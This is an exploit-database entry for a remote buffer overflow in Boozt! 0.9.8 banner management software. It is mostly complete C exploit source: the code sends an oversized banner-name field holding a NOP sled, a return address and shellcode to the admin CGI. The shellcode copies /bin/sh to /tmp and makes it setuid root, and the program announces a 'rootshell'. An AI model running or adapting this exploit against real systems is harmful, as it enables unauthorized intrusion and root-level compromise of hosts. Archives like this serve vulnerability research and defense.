Boozt 0.9.8 - Remote Buffer Overflow

// source: https://www.securityfocus.com/bid/3787/info

Boozt! is a free open source banner management software for Linux hosts.

An issue has been reported which could allow for a user to execute arbitrary code on a Boozt! host.

This is acheivable when a Boozt! user attempts to create a new banner, if the name field is specified with arbitrary characters of excessive length a buffer overflow occurs. 

/* -----------------------------------------

        BOOZT! Standard 0.9.8 CGI vulnerability exploit

        Rafael San Miguel Carrasco

        rsanmcar@alum.uax.es

   -----------------------------------------  */


#include <netinet/in.h>
#define PORT 8080
#define BUFLEN 1597
#define RET 0xbffff297
#define NOP 0x90

int main (int argc, char **argv) {

        int sockfd, i, cont;
        struct sockaddr_in dest;
        int html_len = 15;
        char cgicontent[2048];
        char buf[BUFLEN];

        char shellcode[]=
               
"\x29\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x02\xeb\x05\x29\xc0\x40\xcd\x80\x29\xc0\x29\xdb\x29\xc9"
               
"\xb0\x46\xcd\x80\xeb\x2a\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36\x8d\x5e\x0b\x89\x5e\x3a\x29"
               
"\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x31\x89\x46\x3e\x87\xf3\xb0\x0b\x8d\x4b\x32\x8d\x53\x3e"
               
"\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20\x63\x70\x20\x2f\x62\x69\x6e"
               
"\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20"
                "\x2f\x74\x6d\x70\x2f\x73\x68";

        char *html[15] = {
                "POST /cgi-bin/boozt/admin/index.cgi HTTP/1.0\n",
                "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
*/*\n",
                "Referer:
http://10.0.0.1:8080/cgi-bin/boozt/admin/index.cgi?section=5&input=1\n",
                "Accept-Language: es, en\n",
                "Content-Type: application/x-www-form-urlencoded\n",
                "UA-pixels: 640x480\n",
                "UA-color: color8\n",
                "UA-OS: Windows 95\n",
                "UA-CPU: x86\n",
                "User-Agent: Mozilla/2.0 (compatible; MSIE 3.0; Windows 95)\n",
                "Host: 10.0.0.1:8080\n",
                "Connection: Keep-Alive\n",
                "Content-Length: 1776\n",
                "Pragma: No-Cache\n",
                "\n",
        };

        if (argc < 2) {
                printf ("usage: %s <IP>\n", argv[0]);
                exit (-1);
        }

        printf ("----------\n");
        printf (" BOOZT! Standard exploit\n");
        printf ("----------\n");
        printf ("Rafael San Miguel Carrasco (_kiss_)\n");
        printf ("rsanmcar@alum.uax.es\n");
        printf ("----------\n");

        for (i = 0; i < BUFLEN; i+=4)
                *( (long *) &buf[i]) = RET;

        for (i = 0; i < (BUFLEN - 16); i++)
                buf[i] = NOP;


        cont = 0;

        for (i = (BUFLEN - strlen (shellcode) - 16); i < (BUFLEN - 16); i++)
                buf[i] = shellcode [cont++];

        strcpy (cgicontent, "name=");
        strncat (cgicontent, buf, sizeof (buf));
        strcat (cgicontent,
"&target=&alt_text=&id_size=1&type=image&source=&source_path=Browse...&source_flash=&source_flash_path=Browse...&script_name=&input=
1&section=5&sent=1&submit=Create+New+Banner");

        printf ("connecting ...\n");

        if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
                perror ("socket");
                exit (-1);
        }

        bzero (&dest, sizeof (dest));
        dest.sin_family = AF_INET;
        dest.sin_port = htons (PORT);
        dest.sin_addr.s_addr = inet_addr (argv[1]);

        if (connect (sockfd, &dest, sizeof (dest)) < 0) {
                perror ("connect");
                exit (-1);
        }

        printf ("connected. sending buffer ...\n");

        for (i = 0; i < html_len; i++) {

                if (write (sockfd, html[i], strlen(html[i])) < strlen(html[i]))
{
                        perror ("write");
                        exit (-1);
                }
        }

        if (write (sockfd, cgicontent, strlen(cgicontent)) < strlen(cgicontent))
{
                perror ("write cgicontent");
                exit (-1);
        }

        if (close (sockfd) < 0) {
                perror ("close");
                exit (-1);
        }

        printf ("there should be a rootshell in /tmp.\n\n");

        return 0;
}